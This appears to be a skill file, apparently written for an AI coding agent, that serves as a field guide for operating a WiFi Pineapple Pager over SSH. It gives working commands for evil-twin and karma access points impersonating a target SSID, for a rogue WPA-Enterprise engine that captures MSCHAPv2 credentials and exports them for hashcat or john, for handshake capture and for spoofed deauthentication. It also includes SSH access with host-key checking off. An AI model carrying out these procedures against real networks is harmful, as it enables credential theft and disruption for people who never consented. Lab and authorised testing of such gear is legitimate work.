Retry and serialize pineapd/hak5 calls, queue virtual-pager keys, and grey out buttons until the pager finishes. Deploy now installs python3-light after factory firmware. Bump version to 1.3.2. Co-authored-by: Cursor <cursoragent@cursor.com>
11 KiB
name, description
| name | description |
|---|---|
| pineapple-control | Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work. |
Pineapple Control (Pager / FENRIS)
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
Hardware / radios
| Radio | Hardware | Interfaces | Notes |
|---|---|---|---|
| phy0 | internal mt76_wmac (2.4 GHz) |
wlan0wpa (AP), wlan0open (AP), wlan0mon (monitor), wlan0 (managed uplink) |
wlan0mon DOES see the Pineapple's own TX |
| phy1 | USB mt7921u (5 GHz) |
wlan1wpa (AP), wlan1mon (monitor) |
wlan1mon does NOT see own TX (beacon offload) — see Captures |
Naming: wlan0* = 2.4 GHz, wlan1* = 5 GHz. A phy's channel is held by its AP interface (iw dev); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to wlan0wpa (2.4 GHz); a 5 GHz evil twin must be made via /etc/config/wireless.
The uplink pins phy0 (field-verified 2026-08-19): while the device's own
client uplink (wlan0 STA) is associated, it holds phy0 on the association
channel (here ch1). wlan0mon therefore CANNOT hop off ch1, and 2.4 GHz
APs on other channels are invisible to recon — even when hop=1 is set.
Also, pineapd's per-interface hop is a no-op unless hopspeed is set on
that interface (pineapd.wlan0mon.hopspeed='fast'). Workarounds: run the
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
uplink is up.
pineapd crash stack (Pager 24.10.1 — all five verified)
- SSID-pool broadcast — segfaults pineapd (~15 s cadence,
ra=004e1237). Keeppineapd.@ssidpool[0].disable=1. - wlan2mon — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep
pineapd.wlan2mon.disable=1+hop=0. - wlan1mon 6 GHz fast-hop — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep
pineapd.wlan1mon.bands=5. - Refilled pool list — collect (
autossidpool) refills the pool; a large list crashes even with broadcast off. Clearpineapd.@ssidpool[0].ssidwhen pineapd fails. - Active socket polling — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (
pidof).
The Mark VIII health monitor enforces all five automatically; /api/health reports state. An evil twin / enterprise deploy pauses wlan1mon hop and resumes it on stop.
Standalone PineAPE enterprise engine (field-verified)
The stock daemon's enterprise AP config generation is BROKEN on this build
(it hardcodes eap_server_erp=1, which hostapd rejects with "Invalid IEEE
802.1X configuration (no EAP authenticator configured)"). Working engine,
run entirely by Mark VIII on phy1 outside the daemon's interface set:
iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
Captured credentials flow to pineapd's socket and land in
hostap_basic / hostap_chalresp in recon.db. Mark VIII exposes them as
EAP identities + MSCHAPv2 (RADIUS inner-auth equivalent) at
/api/pineap/enterprise/radius, with hashcat -m 5500 and john netntlm
export. The Pager is an EAP terminator (PineAPE), not a UDP/1812 RADIUS
proxy. Tear down: kill the pidfile pid, iw dev wlan1ent del, resume hop.
Access
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
- Transient
Permission deniedafter bursts of sessions = SSH rate limiting — pause ~10 s and retry. - Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
- BusyBox:
pkill,nohup,sshpassare MISSING. Usekillall/kill $(pidof ...),setsid, and local sshpass.od/hexdump/cat -nabsent — usestrings/grep/head -c.
What runs on the box
| Process | Managed by | Purpose | Socket |
|---|---|---|---|
/pineapple/pineapple (ELF UI backend) |
procd (/etc/init.d/pineapplepager) |
Web UI; supervises/reconverges hostapd | — |
/usr/sbin/pineapd |
procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | /tmp/pineap_sock |
/usr/sbin/hostapd (single global instance) |
standalone (PPID 1) | all AP interfaces | /var/run/hostapd/global, per-iface under /var/run/hostapd/ |
wpa_supplicant |
procd | device's own client uplink (wlan0) |
— |
Command surface
PINEAPPLE_*(e.g.PINEAPPLE_DEAUTH_CLIENT) = symlinks tohak5cmd, which talks to pineapd over/tmp/pineap_sock. Do NOTcurl 127.0.0.1/api/...— the HTTP API is not on :80._pineap= pineapd control CLI (PING,RECON APS|DEVICES|ISEARCH format=json,INTERFACE LIST/SET,SSIDPOOL ...,DEAUTH,EXAMINE,PCAP START/STOP). Direct use can desync the UI — preferPINEAPPLE_*where one exists.hostapd_cli -i <iface> status|get_config|disable|enable(per-iface) and-p /var/run/hostapd -i global(global). This is a Karma-patched build.iw,sqlite3,tcpdump(full build:-G/-Wrotate supported),logread,dmesg.
Config & persistence (the hard-won rules)
/etc/config/wirelessis the SOURCE OF TRUTH for APs (config wifi-ifacesections).wifi reload(orwifi up radioN) applies it.- Editing
/var/run/hostapd-phy*.confis TRANSIENT.hostapd_cli ... reload_config/reloaddo NOT re-read the file.hostapd_cli raw ADD/REMOVEmisfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (-g /var/run/hostapd/global, no configs) and the ubus path reconverges from/etc/config/wireless— reverting your change. - To change an AP persistently: back up first, edit
/etc/config/wireless, thenwifi reload. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:cp /etc/config/wireless /etc/config/wireless.bak # wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>' wifi reload hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
pineapd health & the crash-loop
- Symptom:
PINEAPPLE_*/ deauth returnscould not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused, andlogreadshowsdo_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004. - Cause observed: the SSID-pool broadcast (68 SSIDs loaded from
/etc/config/pineapd) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it. - Fix:
_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart, verify with_pineap PING(PONG) and that the SIGSEGV count inlogreadstops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them. PINGto/tmp/pineap_sockfailing while the socket file exists = stale socket (pineapd down/restarting).
Recon DB
pineapd runs --recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes. pineapd holds the DB — always read via the read-only URI with a timeout:
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
Tables: ssid (ssid is BLOB — CAST(ssid AS TEXT); has bssid/channel/freq/signal/encryption/hidden), wifi_device (mac/freq/signal/packets), scan, handshake (beacon/hs1..hs4 — captures for any nearby AP), hostap_handshake (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus hostap_basic/hostap_chalresp (PineAPE enterprise creds) and hostap_client. RECON CLIENTS does not exist — use RECON DEVICES.
Captures
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap - Own-TX visibility differs by radio. On phy0 (2.4 GHz)
wlan0moncaptures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz)wlan1mondoes NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely onhostap_handshake//root/loot/handshakesfor own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both. - PineAP's
PCAP STARTexport is management/control frames only — never rely on it for handshakes. - Standing capture that survives SSH disconnect (detaches via
setsid, rotates 5 min, keeps 48 files ≈ 4 h;/mmchad ~3.3 GB free):setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null & - Stop captures:
killall tcpdump(pkillmissing). - Pull evidence locally with
scp; analyze withtshark/capinfos/hcxpcapngtool(brewwireshark,hcxtools).
Verification & troubleshooting
- AP up but silent?
iw dev <iface> infofor ssid/type/channel;hostapd_cli -i <iface> status(state=ENABLED) andget_config. Statictx_packetson the netdev does NOT mean not-beaconing — beacons are driver-offloaded; checkdmesgfor driver errors instead. - Deauth channel targeting:
PINEAPPLE_DEAUTH_CLIENTinjects via the phy of the configured inject interface (herewlan1mon, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID). hostapd_cli -p /var/run/hostapd -i global interfacelists managed interfaces.
Teardown & hygiene
- Stop captures:
killall tcpdump; kill only the standing capture's PID if you must keep others. - Leave
/root/loot/**pcap artifacts as evidence; scp them off before leaving. - If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
- Report persistent config changes you made (e.g. an AP converted in
/etc/config/wireless) so the user knows their device differs from the UI default.